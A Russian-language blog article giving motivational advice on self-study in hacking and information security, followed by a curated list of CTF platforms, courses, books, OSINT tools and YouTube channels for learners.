  • Аспект 1.

    Правильно формулируйте и задавайте вопросы.

    Изучение любой темы, будь это поиск уязвимостей XSS, осваивание основных инструментов для проведения пентеста, вождение мотоцикла или как выполнять правильно болевой приём Гяку-Удэ-Гарами - должно начинаться с двух вопросов.

    1) Что я уже знаю об этом?

    2) Чего я ещё не знаю про это?

    Это можно описать так.
    Представьте себе что вы стоите на горе и перед вами внизу лес, вам нужно попасть на другую гору, которую вы видите перед собой, но между вам как раз таки расположен тот самый густой, очень тёмный, непроглядный лес.

    Если вы запомните примерное расположение горы и спуститесь в лес не подготовившись, поспешив и понадеявшись исключительно только на вашу память и первоначальный интерес и мотивацию, начав ваш поход ко второй горе - вы несомненно рано или поздно, но ошибетесь, затем заблудитесь, и как итог сдадитесь обнаружив себя посреди чащи густого незнакомого леса.

    Но если же вы, стоя на верхушке первой горы нарисуете себе примерную карту на первой попавшейся бумажке того, как вам попасть на вторую гору и приблизительный путь как добраться до неё - вы никогда не собьетесь со своего пути, потому что с верхушки первой горы вы успели заметить, что в середине леса, оказывается есть огромный дуб, у которого сломана верхушка кроны и пробивается яркий луч внутрь чащи , а вон там протекает ручей, а вот тут груда камней и небольшая скала и это можно использовать как ориентир.
    И тем самым, когда вы спуститесь в лес и начнете свой поход - вы будете отслеживать свой прогресс и пройденный путь - всегда сможете вернуться и понять, где вы ошиблись и выбрали не верный путь, что послужило причиной ошибки и насколько вы отклонились от своей цели.

    Таким образом вы создаете себе мини-помощника на бумажке - структуру - это может быть структурированный список или крякозябры нарисованные от руки или что угодно - но то, что понятно вам и не забудется спустя день, неделю, месяц. Это также может быть ваша уникальная система понятная только вам, экспериментируйте! Здесь нет единственного правильного ответа

    Таким образом вы обхватываете сразу две основных области в ваших головушках и разом убиваете двух зайцев

    Вы проходите один из самых важных этапов в процессе обучения - формированию структуры.

    Вы можете не знать вообще ничего, знать частично об этом (услышав от друзей, увидев рекламу на ютубе или ролик в рекомендациях) или быть экспертом в этой области, но благодаря этим двум основным вопросам вы уже начинаете формировать в голове общий образ того, что и как вы будете запоминать о той или иной вещи.

    Вы формируете входные точки для того, чтобы в скором времени перейти к второму важному этапу и это - поиск. Когда вы осознаете, что слово "кимура" для вас пустой звук - то самым первым делом вы, как и любой живой человек на этой земле, в голове обратитесь к инструментам которые позволят получить любую информацию о неизвестном - сначала в долговременную память, а потом вы полезете в поисковик и сразу же узнаете что это довольно популярная японская фамилия, а прокрутив первую страницу с результатами поиска, узнаете также что это болевой прием, названный в честь одного именитого борца, который собственно говоря и придумал его.

    На данном этапе, если вы сумеете выстроить в голове ретроспективную линию и взглянуть на себя то вы осознаете, что пару минут назад, вы ничего не знали ни о том, что находится в лесу, что такое кимура, таких знаний попросту не было в вашей голове.
    Но если вы будете придерживаться четкой структуры в процессе изучения чего-либо - то мозгу проще и гармоничней будет запоминать и выстраивать ассоциативные связи благодаря этому.

    Вы скажете, хорошо Ричард, это всё круто и здорово, но знать что-то не равно уметь делать это, да к тому же на профессиональном уровне.

    И будете абсолютно правы.

    Ведь практический опыт и теория неразрывно связаны.

    А точнее практика это ваша теория, которая обрела физическую форму на бумаге, в ваших действиях и словах.

    И тут стоит перейти к второму важному аспекту.

  • Аспект 2.
    Ошибайтесь.

    Нет ни одного человека на этой планете, который бы жил, живёт и будет жить - и который бы не ошибался ни разу в своей жизни.

    Быть хакером - значит обладать огромным запасом разношерстных, порой несвязанных друг с другом знаний из разных областей и умений - и как итог уметь их применять вкупе в нужное время, в нужном месте и получать результат высокого качества/уровня.

    А подобный уровень недостижим, если вы не позволите себе ошибаться по ходу процесса обучения.
    Сегодняшняя культура нашего социума и цивилизации в котором мы с вами живём - всё также инфантильна и скоропалительна, а также нетерпима к изменениям и самоанализу своих ошибок.

    А посему проще заклеймить и предать стигматизму ошибки и процесс их появления в наших жизнях, нежели принять их и сделать неотъемлемой частью наших жизней.

    Ошибки это больно, неприятно, затратно по ресурсам (физическим, психическим, временным) - поэтому это естественно что наши мозги (то бишь мы) - хотим минимизировать подобный опыт и свести его желательно к нулю.

    НО

    Для прогресса это делать запрещено.

    Ни у кого из нас нет доступа к шару с предсказаниями и тому, что будет с нами в будущем.
    А потому никто не может знать, принесет ли мне занятие хакингом истинное удовольствие в жизни, стану ли я топ-10 на hackerone и заработаю милльоны-милльонов долларов на этом? (спойлер - если вы решили заниматься хакингом исключительно ради денег можете закрыть эту статью и забыть обо всём что прочитали как страшный сон, эта сфера точно не для вас просто потому что вы быстро выгорите и вам быстро надоест), стоит ли мне записаться на курсы? Или заниматься самому? Читать мне эту книгу или вот эту?

    До тех пор пока вам приносит это удовольствие и делает счастливым - продолжайте это делать и старайтесь делать это отлично, будьте честны с собой и результатами которые показываете, будьте достаточно строгими к себе и требовательными, но и умейте хвалить себя за проделанную работу и награждать (это важно для того, чтобы быть успешным и закреплять в себе правильные паттерны и пути мышления) и самое главное вовремя и качественно отдыхать (это тоже навык, которому надо учиться и увы не все умеют это делать).

    Я хочу чтобы вы вспомнили себя детьми или те у кого есть дети и они сейчас учатся ходить.
    Если посмотреть на детей и их многочисленные попытки научиться ходить - вы не увидите ни одного ребёнка, который после пары падений на зад, сядет, закинет ногу на ногу и смачно посасывая соску аки заправскую сигару скажет "знаешь, пожалуй мне стоит записаться на курсы по ходьбе, я не справлюсь с этим никогда сам, пожалуй это не моё, я не достаточно для этого подготовлен, вон Света ходила на курсы и её там научили ходить за неделю, представляешь?"

    На данном изображении приведен пример того как происходит выход из зоны комфорта и постепенный переход в зону роста, через зону страха и обучения с попутными состояниями в каждой зоне.

    Всё что вы увидите - это нескончаемые падения и вставания после падений. 0 оправданий, 0 поиска причин почему не удалось и самокопания в себе. Это лишь чистые, честные постоянные попытки в которые дети вкладывают все свои усилия, навыки и знания.
    До тех пор пока не будет достигнут единственный верный результат - уметь ходить как все.

    И мне хотелось бы чтобы такой менталитет и такое отношение к своим занятиям, ошибкам и сложностям которые вас поджидают вы закрепили у себя в головах.
    Не важно что вы делаете, учитесь готовить, крутить заднее сальто, приседать со штангой или пытаетесь научиться эксплуатировать SQL-инъекции - если вам это дорого, вы любите это и вам интересно - отриньте мысли о неудаче и то, что у вас что-то может не получиться. И тогда ничто не будет вам мешать, всё время и возможности которые есть у вас, откроются у вас перед глазами, останется только взять и пользоваться ими.

    Проблема это лишь эмоциональное состояние. Без эмоций - это просто ситуация.

    Задачи не должны быть слишком простыми, иначе ты потеряешь интерес.
    Задачи не должны быть слишком сложными, иначе ты просто уйдешь в отказ.

    Баланс доступности задачи и её сложности - сохраняет живость и интерес к ней.

    Можно прибегнуть к разным подходам, таким как Закон Парето или нагуглить кучу разных видео с Ted talks, или вот такую диаграмму в виде пирамиды,, или очередное мотивирующее видео - суть остается одна и та же.

    Мы люди, основным интерфейсом которым мы контактируем с внешним миром всё также остается наше тело, наше тело имеет свойство реагировать на разные раздражители по разному и из этого формировать симбиоз чувств+эмоций, исходя из этого мы принимаем те или иные решения в своей жизни, которые приводят нас или уводят нас от того, чего мы действительно желаем.

    Посему закон простой - пойми как устроен и функционируешь ты - поймешь как можно контролировать себя - поймешь что можно делать со своей жизнью.

    В этом вся суть хакинга.

    Изучить неизвестное, разобрать на компоненты, изучить детально компонент, собрать и посмотреть как работает вся система или части системы - научиться управлять этим так, как хочешь ты, а не так как есть по дефолту.

  • Аспект 3.

    Выгорание и фрустрация.

    Сфера информационной безопасности невообразимо огромна. Пентест, реверс, беспроводные сети, физический пентест, OSINT, ботнеты, форензика, 0-day уязвимости, DDOS/DOS атаки, сетевые уязвимости, уязвимости мобильных устройств, военная промышленность, банковское ПО, криптография и шифры - это лишь часть того, что я вспомнил наугад из головы, где информационная безопасность не просто важна, а играет жизненно-важную роль для функционирования той или иной отрасли.

    Не хватит одной человеческой жизни, чтобы осилить каждую сферу и стать невероятно крутым спецом, знающим своё дело как никто другой в области в инфобезе.

    Я потратил весь прошлый год, только на то, чтобы вспомнить университетскую базу и в целом вновь окунуться в мир инфобеза, понять что вообще сейчас происходит, какие хакеры кого терроризируют, какие тулзы используются в криминалистике, а какие в пентестах, что такое реверс и как пользоваться burpsuite. И почти всегда меня сопровождало ощущение "ё-маё, ну неужели я такой тупой, что не могу запомнить такие простые вещи как HTTP заголовки или модель OSI, или как мне и когда собирать информацию о цели, что такое SQL инъекция и как вообще мне её применять".
    Но я старался не обращать внимание на подобные мысли, потому что я понимал, что я сейчас выстраиваю свой базис, основу на которую я буду сверху накидывать уже костяк своих умений и далее плясать в те сферы, которые мне будут наиболее интересны.
    Посему я просто давал подобным мыслям, фрустрации и нежеланию продолжать немного повариться во мне - отвлечься на ютуб, покушать вкусной еды, покачать пресс - и возвращался вновь к тому, на чём останавливался.


    Постоянно напоминайте себе о том, куда вы идёте, зачем и почему. Это полезно, это подзаряжает мотивацию, напоминает вам и позволяет высунув голову из тонны документации и текста с практикой - оглядеться, осознать на каком вы этапе и что вообще вы делаете сейчас и куда движетесь.(порой когда увлечешься какой-то темой, можешь вообще забыть с чего ты начинал, я не единожды начинал читать про модель OSI, а заканчивал в итоге про настройку сертификатов HTTPS соединения и как это сделать на apache2 и nginx или начинал изучать HTTP методы, а через полчаса находил себя за просмотром видео по тому как ломать wi-fi сети).

    Также нужно помнить что каждый из нас по разному толерантен к фрустрации и неудачам. Для кого-то затяжные провалы и неудачи могут не иметь серьезного эффекта на процесс обучения, работы и повседневной жизни, для кого-то даже легкая неудача равносильна гибели и провалу всей жизни, которая выбивает из распорядка дня на продолжительное время и заставляет зациклиться мыслями про неё.

    Однако, спешу обрадовать всех, кому сложно справляться со своими неудачами из-за чего создается и переносится целый ворох проблем попутно с этим страхом.
    Подобную толерантность вполне реально натренировать как любую другую мышцу тела (ну почти любую.

    Достаточно лишь взглянуть на очередную, нагло стыренную мной инфографику с ресурса о котором я сейчас ниже буду детально писать:

    Как видно из картинки выше - когда у нас есть четкое видение, навыки, наши стимулы выстроены, у нас достаточно ресурсов (денег, еды, мы выспались, морально готовы браться за очередную ответственность, у нас подготовлен и разработан первичный план действий и намечены основные майлстоуны по достижению которых мы проверим свой прогресс) и у нас есть план действий, которому мы будет следовать пока пробираемся через наш любимый, в самом начале описанный дремучий лес - мы четко и уверенно придём к точке под названием - Организованный успех.

    Если же у нас не хватает видения - то тогда рождается замешательство - где начать? откуда? что мне читать? а правильно ли я делаю, начав с этой книги, не пропускаю ли я каких-нибудь важных основ?

    Если у нас не хватает скиллов - мы начинаем чрезмерно волноваться и беспокоится что мы не справимся - как можно пройти дремучий лес, зайдя в него наполовину, без карты или хотя бы компаса?

    Если у нас недостаточно стимулов - происходит медленная, но верная смена интереса и затухание, в итоге мы сначала говорим "всё круто я справлюсь", потом это меняется на "да всё ок, должен справиться", "я не знаю справлюсь ли" и финальное и любимое "у меня не получится".

    Если не хватает ресурсов - мы впадаем в хорошо всем знакомую фрустрацию и как следствие нежелание вообще за что-либо браться или что-либо делать.
    Если нет четкого плана действий - то сложно понять куда двигаться, какие этапы проходить и как достичь желаемой цели.

    Главное помните о том, что ваши эмоциональные переживания временны.
    Чем чаще вы сталкиваетесь с чем-то и учите себя бороться с переживаниями - тем более толерантными к подобным переживаниям вы становитесь.

    Продолжайте двигаться к своей цели и у вас обязательно получится сделать то, что вы задумали.

Итак, подытожив очередную простыню, хочется сказать - ребята, не отчаивайтесь, это сложно, но правда очень интересно и увлекательно, стоит вам просто поверить в свои возможности и продолжать топить и оттачивать свои навыки и повышать количество знаний.

Hack is life. Или мой чемоданчик джентльмена

Ну что касатики, вот мы и добрались до самого желанного пункта данной статьи.

Ранее я не раз повторял фразу, что мир информационной безопасности невероятно велик.

Несмотря на то, что я постарался за своё прошлогоднее путешествие нагуглить и собрать максимум ресурсов и ссылок по всем возможным областям - я уверен, что список можно и нужно будет дополнять и добавлять по мере устаревания статьи.

Однако у многих людей с кем я обсуждал тему самостоятельного изучения темы хакинга красной нитью пролегает вопрос - "Каков порядок изучения?", а также "Где оттачивать скилы и что изучать?" - то я постараюсь ответить на эти два вопроса максимально ёмко.

1) Каков порядок изучения?

Отвечая просто - я считаю, что есть 3 пути.
Все они в любом случае зависят от вашего бэкграунда и начальных знаний.
Можно заниматься бесплатно и самостоятельно - тогда времени уйдет больше и придётся его потратить на то, чтобы настроиться сначала на область занятий, подготовить материал, учебный план и расписать свой путь (он же роадмап), затем перейти к самостоятельным занятиям, отслеживать свой прогресс, уметь мотивировать себя, ставить посильные задачи и т.д. и т.п..
Можно покупать курсы и получать структурированную информацию в одном месте и сразу.
Можно комбинировать.
Можно качать курсы с торрентов (я бы так ни за что не сделал, вы что).

В любом случае экспериментируйте. Нет одного верного способа научиться хакингу. У всех свои истории, у каждого свой путь.

Можно идти сверху-вниз.
Начав изучать к примеру устройство ОС (linux, windows) и спускаться вниз по мере возникновения понимания как работает программа или наоборот не понимания как именно обменивается программа данными, как она их получает и как вообще происходит вся магия за монитором.

Или идти снизу-вверх.
Вы покупаете, скачиваете Таненбаума, Олифера, книгу Код - и идёте от низкого уровня - как устроены компьютеры и железо, и что вообще можно из них выжать - до высокого уровня работы программ, эксплуатации уязвимостей, поиска этих самых уязвимостей, защиты от них и т.д.

Или идти так, как удобно тебе.

Да-да, можно создать свой порядок следования и изучения тем, инструментов, ОС, чего угодно.
Например, я пользуюсь mind-map программой XMind ZEN (не реклама если чо) - которая позволяет мне создавать удобные майнд-мепы.

Пример моих майнд-мепов.

Подобные майнд-мепы позволяют мне отслеживать свой прогресс, записывать в удобном формате и виде то, что я просмотрел и изучил, а также это весьма удобно. если хочешь в одном месте иметь древовидную структуру и отслеживать свой прогресс.

Однако, несмотря на многие "гайды" и подобные моим статьи - в интернете на зарубежных ресурсах таких как hackthebox, tryhackme ,pentesterslab (не спешите бежать гуглить, все ссылки будут ниже) - есть уйма уроков структурированных в том формате, в котором стоит начинать изучение темы хакинга.


Отвечая на второй вопрос.

2) "Где оттачивать скилы и что изучать?"

Думаю здесь уже стоит ввести некоторую разбивку на категории, которые я создал исключительно сам исходя из своих субъективных суждений.


Категории следующие:

1) Ресурсы для обучения (места где можно тренироваться использовать полученные навыки по пентесту и хакингу + ctf площадки типа hackthebox).

В данной категории будут изложены те ресурсы, на которых тренируюсь и обучаюсь я и сегодня (или которые планирую использовать в обозримом будущем - их меньшинство).

  • https://academy.hackthebox.eu/ - онлайн академия от достаточно популярного ресурса hackthebox. Здесь вы сможете найти модули по фундаментальным знаниям (Windows, Linux fundamentals, как работать с основными тулзами в kali linux, что такое обфускация, что такое Stack-Based Buffer Overflows on Linux x86, DNS enumeration и многое-многое другое). Основа бесплатна - остальные Tier - модули обучения - платны. Но цены весьма адекватные, а материал для старта вполне адекватен по качеству и количеству + сам Hackthebox тут же под рукой, на котором можно отточить все только что полученные навыки.

  • https://picoctf.org/ - CTF площадка от университета Carnegie Mellon на которой можно оттачивать свои навыки пентестера

  • https://www.professormesser.com/ и https://www.youtube.com/user/professormesser - полноценные курсы как в бесплатном, так и в платном доступе по сертификатам

  • https://www.pentesteracademy.com/ - очередной достаточно знаменитый ресурс для тренировок и оттачивания своих навыков (дебаггеры, wi-fi челенджи, network pentesting, web pentesting, forensics) - к тому же до 31 января 2021 у них сейчас вроде как скидоны идут (как и в течении года) - можно урвать хороший доступ к куче лаб и обучающим курсам и виде.

  • https://www.hacker101.com/ - замечательный ресурс с достаточным количеством видео и упорядоченным списком что изучать и в каком порядке - более чем достаточен для старта и дальнейших самостоятельных занятий.

  • https://www.learnqa.ru/security - не проходил, но по отзывам для старта веб-пентеста самое то.

  • https://academy.tcm-sec.com/courses и https://www.youtube.com/c/thecybermentor - один из первых ресурсов, которые я нашёл, когда начал изучать и искать инфу по теме хакинга - TheCyberMenthor - на сайте представлены платные курсы, на ютубе есть огромные 5-15 часовые полноценные курсы по пентесту, веб-пентесту, основам линукса и куче всего остального. Прелесть в том, что на ютубе, в бесплатной 15 часовой версии обучающей по пентесту - есть практически всё, что нужно для того, чтобы посмотреть на рабочий день пентестера, увидеть как юзаются тулзы.

  • https://book.hacktricks.xyz/ - хотите освоить основы эскалации привелегий на linux и windows? работать с shell'ом и заливать paylod'ы? Тогда вам точно следует изучить блог данного парня.

  • https://www.hacking-lab.com/ - очередная площадка для отработки CTF - но в этой есть также лабы на которых можно потестить sms spoofing и в целом "пощупать" уязвимости телефонии.

  • https://ctftime.org/ - площадка на которой можно принимать участие в upcoming CTF батлах и кубках. Можно командой, можно в соло.

  • https://sqlbolt.com/ - хотите научиться работать с SQL и понять вообще как он устроен, научиться писать запросы? Точно пройдите этот тренажер.

  • https://linkmeup.ru/sdsm/ - я думаю такая титаническая работа как "сети для самых маленьких" и иже с ним не нуждается в рекламе. А если вы не знаете кто это и что это - то тем более бегом туда.

  • https://github.com/bkimminich/juice-shop - очередной аналог DVWA или metasploitable2-3 - уязвимые ОС и веб сайты, для оттачивания своих навыков в эксплуатации уязвимостей.

  • http://www.iso27000.ru/katalog-ssylok/hakerskie-saity - ребят, ну самые настоящие хакерские сайты, что вам ещё надо?

  • https://xakep.ru/ - олды тут?

  • https://stepik.org/course/127/syllabus - думаю мне не нужно рекламировать Stepik? Помимо этого курса есть с десяток других, которые стоит обязательно просмотреть. Как по общим знаниям операционных систем, так и по сетям, устройству ЭВМ, основам программирования и куче всего интересного и полезного

  • https://www.hacksplaining.com/ - великолепный ресурс с инфографиками, гифками и пояснениями основных уязвимостей и того, как именно они работают. Очень рекомендую. Люблю такие простые и крайне понятные инфографичные ресурсы.

  • https://xss-game.appspot.com/ - хотите научиться находить XSS уязвимости за которые можно получать до 7500$ за одну найденную уязвимость? Тогда стоит посмотреть что там по ссылке.

  • https://www.hackers-arise.com/ - вырвиглазный форум с полезной инфой старого поколения и образца.

  • ine.com - великолепный ресурс, который имеет как платные, так и бесплатные модули, по которым можно набить себе базу по пентесту, реверсу и в целом по информационной безопасности.

  • https://pentesterlab.com/ - отличный ресурс для тренировок по CTF и пентесту с кучей лаб. Дешево стоит если покупать на год доступ.

  • https://jehy.github.io/mami/# - просто полезный ресурс, почитать про уязвимости.

  • https://overthewire.org/wargames/ - хотите научиться основным командам и работе в терминале ? Тогда этот ресурс с мини играми расположенными на удаленных ssh лабах точно для вас. Самый простой порог вхождения в CTF + обучает одновременно азам работы в линуксе.

2) Форумы, каналы, блоги, библиотеки книг.

Наиважнейшая ортодоксальная часть как форумы.
Список книг для обязательно (и не очень) изучения.

  • Таненбаум Э. - Компьютерные сети (5-е издание)

  • Таненбаум - Современные операционные системы

  • Олифер - Компьютерные сети. Принципы, технологии, протоколы (кстати в прошлом году вышел свежак этой книги)

  • Яворски П. - Основы веб-хакинга. Как зарабатывать деньги этичным хакингом.

  • Скабцов Н. - Аудит безопасности информационных систем (2018)

  • Эриксон Дж. - Хакинг искусство эксплойта (старая книга, но переиздание было пару лет назад, в любом случае актуальна как для новичков, так и для среднего уровня)

  • Мануал по Shodan - hackerlib (гуглите, ищите сами, заодно потренируетесь в OSINT)

  • Макконел С. - Совершенный код. Практическое руководство по разработке программного обеспечения

  • Парасрам Ш. - Kali Linux. Тестирование на проникновение и безопасность (2020)

  • Гейер Дж. - Беспроводные сети. Первый шаг.

  • Херцог, О'Горман, Ахарони - Kali Linux от разработчиков (Компьютерная литература) - 2019

  • Милосердов А. - Тестирование на проникновение с помощью Kali Linux 2.0 - 2015

  • Кофлер М. - Linux. Полное руководство - 2011

  • Колисниченко Д.Н. - Linux. От новичка к профессионалу, 6-е изд. (В подлиннике) - 2018

  • https://codeby.net/ - форум с кучей полезной инфы. Также у них есть пара курсов от создателей форума, по отзывам вроде ок. Я не тестил.

  • https://hackaday.com/ - англоязычный форум, свежие новости, но в основном всякий варезный и diy фан.

  • https://hacker-basement.ru/ - подвальчик хакера - нужно другое пояснение?

  • http://rus-linux.net/ - хотите быть в курсе последних изменений в мире линукса - надо сидеть тут.

  • http://dorlov.blogspot.com/2011/05/issp-cissp-all-in-one-exam-guide.html - говорят монстры среди монстров и отцы отцов только смогли прочитать эту книгу от начала и до конца.
    Ну а в целом очень полезное чтиво для уже подготовленного ума и начинающего.

  • https://hackware.ru/?page_id=1735 - просто куча разной литературы по хакингу и безопасности. Чекай и наведи порядок сам

3) OSINT.

Всё что связано с пробивом и поиском информации и в целом со скиллом, который должен быть развит на достаточном уровне у любого хакера - разведка из открытых источников.

  • Научись пользоваться google dorks или google hacking - невероятно расширяет доступ к поиску нужной информации, особенно если овладеешь этим скиллом как следует.

  • https://osintframework.com/ - отец всех отцов - старый добрый osintframework - почти все нужные тулзы собранные в одном месте, просто выбери нужную ветку, найди название фреймворка или тулза - загугли и юзай.

  • https://telegra.ph/Podrobnoe-opisanie-besplatnyh-modulej-v-Maltego-09-27 и https://telegra.ph/CHAST-2-09-29-2 - что такое Maltego и как пользоваться одним из основных инструментов для OSINT'a читать здесь (в двух частях)

  • https://www.spiderfoot.net/ - платформа с различными автоматизированными тулзами и плюшками для тех чья работа - пробив и поиск информации.

  • https://namechk.com/ - хотите пробить пользователя по нику и узнать где ещё он зарегистрировался с подобным? Ваш выбор номер 1 (не включая конечно фреймворки внутри kali)

  • https://www.social-searcher.com/social-mention/ - надо отследить часто повторяющиеся и упомянутые тренды? Тогда эта тулза выручит

  • https://hunter.io/ - надо найти связь почты и компании? Определенно пользуйся этим. Более 100 млн индексированных страниц дадут точный результат.

  • https://vas3k.ru/blog/389/ - полезная статья с которой началось моё знакомство с OSINT и техниками поиска информации.

  • https://search.buzz.im/ - в пояснении думаю не нуждается.

  • Обязательно посмотреть видео и почитать книги Андрея Масаловича - если ваша цель стать крутым OSINT'ером

4) Youtube каналы и курсы (какие-то скачаны с торрентов, какие-то куплены по акциям, "скидончики в пятерочке наше всё").

Всё и вся, что только можно нарыть на англоязычном и русскоязычном ютубе по тематике кибербезопасности.

  • https://www.youtube.com/c/PwnFunction/videos - основы OWASP-10 уязвимостей в формате красочных, простых и понятных коротких видео.

  • https://www.youtube.com/watch?v=fB3DI48MNno&list=PLnjNR4-S-EVqfJWovxEJyb7I0IOkKkoYM - не самый свежий, но вполне годный полноценный туториал курс по работе с kali linux и первыми шагами в направлении пентеста.

  • https://www.youtube.com/c/HackerSploit - пентест, основы работы с линуксом и терминалом, работа с основными тулзами в kali linux, разбор и объяснение основных уязвимостей и былых 0-day, научиться использовать Metasploite и много-многое другое.

  • https://www.youtube.com/c/KirillSemaev - старый добрый Семаев, хотите обучиться как юзать линукс в боевых задачах и условиях - милости прошу (его видео не имеют никакого особого отношения к пентесту или безопасности, скорее к общим навыкам работы с линуксом)

  • https://www.youtube.com/c/webpwnized - один из лучших англоязычных чуваков, которые очень понятно и доступно объясняют основы линукса, пентеста, настройки burp и owaspzap и тонна других полезных тем разбирается.

  • https://www.youtube.com/c/devnull1337 - кодинг, хакинг, много кофе - что нужно ещё? Иногда разбирает пройденные таски на picoCTF - который я указал ещё в первом пункте. Так что если застряли где-то - не стесняйтесь дать себе подсказку.

  • https://www.youtube.com/channel/UCQfwKTJdCmiA6cXAY0PNRJw - канал преподавателя Тимофея Хирьянова - нужны академические азы программирования, информатики и основ ЭВМ? Вам точно сюда

  • https://www.youtube.com/c/JohnHammond010 - прям как CyberMentor что упоминал я выше, только со своей колокольни.

  • https://www.youtube.com/user/RapidBug - очень толковая и крутая девчонка, которая расскажет, объяснит и покажет как начать свои похождения в веб-пентесте и научиться находить первый баг за который заплатят денюжку на hackerone.

  • https://www.youtube.com/channel/UCSXe3vOtFuMQnchDyGPi-fQ/videos - хакинг для самых маленьких. Не самое свежее, но годное.

  • https://www.youtube.com/watch?v=wBp0Rb-ZJak - фул курс по линуксу.

  • https://www.youtube.com/c/%D0%9A%D0%B0%D1%82%D0%B0%D0%BD%D0%BE%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F%D1%85/ - вот какая ссылка бывает, когда название канала на русском языке - узнать про нетсталкинг, осинт, слежку через камеры - и в общем популярным языком на коротких, красочных видео завлечь и развлечь себя ненадолго темой хакинга можно тут.

  • https://www.youtube.com/c/LiveOverflowCTF - достаточно известный канал и известный хакер в своих кругах.

  • https://www.youtube.com/c/ChrisGreer/videos - работа с wireshark, сетями, протоколами

  • https://www.youtube.com/c/devcentral/ - очень толковый канал, на котором можно найти подробные и очень понятные объяснения различных технологий (шифрование, безопасность, devops и многое другое)

  • Linux для начинающих (OTUS)

  • [OTUS] Пентест. Практика тестирования на проникновение (2019)

  • Хакинг веб-приложений, атака на куки (2018 Pluralsight)

  • https://www.youtube.com/channel/UC5gufuYHPSsJA-jul-iwyXA Курс по сетям и основам коммуникаций (Андрей Созыкин)

  • [HTML Academy] Профессиональный онлайнкурс HTML и CSS, уровень 1 (2020)

  • [jsexpert] [Евгений Калюжный] Понятный JavaScript (Beginner)

  • [SkillBox] [Вадим Шандринов] Python-разработчик

  • [Udemy] Полный Курс Python 3 от Новичка до Мастера (Питон, Пайтон) [Jose Portilla]

  • Kali Linux Для Начинающих (2018) Видеокурс (HackersAcademy)

  • Learn Hacking Windows 10 Using Metasploit From Scratch (iSecurutyPro) - какой-то индийский курс

  • Pentester Academy - Python For Pentesters

  • Udemy - SQL для начинающих с нуля до сертификата Oracle (2019)

  • Модель OSI и стек протоколов TCP-IP (GeekBrains)

  • Тестирование защищенности веб-приложений (software-testing ru)

  • Jason Dion - Анатомия кибератаки начинающий взлом с Metasploit! (2019) https://cloud.mail.ru/public/3ebg/o1im3g5fE/

  • Изучаем Python и взлом систем с нуля (2018) Заид Саби

5) Программирование.

Хоть тема и смежная, но в любом случае жизненно-важная для любого уважающего себя хакера.

6) WEB и всё что связано с веб-пентестом.

  • https://portswigger.net/web-security/learning-path - ресурс компании portswigger - создателей BurpSuite - имеют собственную академию онлайн в которой уйма и тонны полезной информации по веб-пентесту. Если хотите в будущем заниматься поиском багов и тестированием сайтов на уязвимости - вам точно следует вдоль и поперёк прочитать данный ресурс.

  • https://urlscan.io/ - надо узнать список субдоменов, доменов и технологий которые юзаются на сайте? urlscan твой друг товарищ и брат.

  • Расширение Wappalyzer в Chrome- позволяет просматривать расширения и технологии используемые на сайте.

  • Поставьте себе Firefox Multi-Account Containers - незаменимая вещь для проведения веб-пентестов. Позволяет легко и быстро переключаться между 4 разными пользователями с 4 разными куками, чтобы посылать 4 разных запроса не разлогиниваясь. Ну думаю понятно?

  • https://securityheaders.com/ - полезная тулза для проверки заголовков сайта.

  • https://builtwith.com - очередная тулза, которая позволяет получить полезную инфу в ходе сбора данных по сайту.

  • dehashed.com - узнать утекли ли креды на вашем сайте во вне, весьма полезная, но платная платформа

  • https://owasp.org/www-project-web-security-testing-guide/ - ну и как же без owasp ресурса компании, которая и занимается структурированием и категоризацией уязвимостей на сегодняшний день. Если что-то и будет появляться нового по уязвимостям - то точно в первую очередь у них.

7) Внешние инструменты вне ОС + железо (ПО).

  • https://urlscan.io/ - надо узнать список субдоменов, доменов и технологий которые юзаются на сайте? urlscan твой друг товарищ и брат.

  • https://market.yandex.ru/product--wi-fi-adapter-alfa-network-awus036ach/12473758 - тот самый знаменитый Alpha адаптер для тренировок по взлому wi-fi сетей (дисклеймер не взламывайте чужие сети, доступа к которым вы не имеете, это плохо, ломайте только те, доступ и разрешение к которым у вас есть)

8) Reverse engineering.

  • https://www.manhunter.ru/ - хотите уметь в настоящий мужской реверс и ассемблер? Конечно хотите.

  • https://www.youtube.com/c/LiveOverflowCTF - достаточно известный канал и известный хакер в своих кругах + также топит за реверс.

  • https://forum.reverse4you.org/c/materials/8?order=activity - хотите знать про реверс - точно надо сюда

  • http://personeltest.ru/aways/habr.com/ru/users/yashechka/posts/ - введение в реверс + адванс введение в реверс, одним словом на хабре куча статей по реверсу. Поиск в помощь.

  • https://yutewiyof.gitbook.io/intro-rev-ida-pro/ - однажды после очередного собеседования на позицию джуна мне сказали подготовиться по этой книге и решить тестовое (я конечно же этого не сделал). Но книга очень годная. Обязательна к прочтению.

  • https://www.corelan.be/ - надо в хардкорный реверс? там есть его с головой.

  • rdot.org - олдскул, реверс, хакинг, программирование и живое общение - пой душа, несись в рай.

  • Реверс-инжиниринг курс от OTUS

9) Bugbounty площадки

Как видите, списки получились весьма внушительные, если учесть что каждая ссылка введет на отдельное исследование и заслуживает как минимум нескольких десятков часов изучения - то не стоит ожидать что я смог учесть все возможные стоящие ресурсы для изучения.
Помимо того количества что я указал в статье, есть приблизительно вдвое больше, которых я не указал и/или не знаю о которых.

Поэтому как всегда - финальный результат всегда за каждым из вас.

Кто-то сможет найти ещё более крутые ресурсы, чем я.

Заключение

Написание данной статьи было решением принятым абсолютно случайно.

Я написал её сегодня за 5 часов без особой подготовки, одна из причин - потому что я записался на курс по веб-уязвимостям и в чате предложил поделиться своими накопленными знаниями с ребятами, записавшимися на курс и решил, если делиться - то делать это качественно и как следует, в удобном формате, который я бы смог редактировать время от времени.

Другая причина - мне давно хотелось это сделать и внести свою лепту в комьюнити в своей стране и на своём языке, так как этого действительно не хватает, но я всё оттягивал момент, потому что считал что нужно и можно подкопить ещё информации и структурировать её ещё более удобным и красивым образом.

В любом случае получилось то, что получилось.

Надеюсь мой стиль написания и размышлений не был слишком вычурным и был понятен тем, кто будет читать эту статью и даже им понравится.

В заключение хочу сказать - я лишь в начале своего пути и не знаю куда он меня заведёт.
Но даже сейчас и сегодня - мне было приятно внести свою лепту в компьюнити хакерства и информационной безопасности.

Надеюсь что и дальше этот тренд у меня удастся поддерживать на должном уровне и отдаче.

Спасибо.

Подробнее..

Информационная безопасность в 2021 году. Угрозы, отраслевые тренды

03.02.2021 18:19:31 | Автор: admin
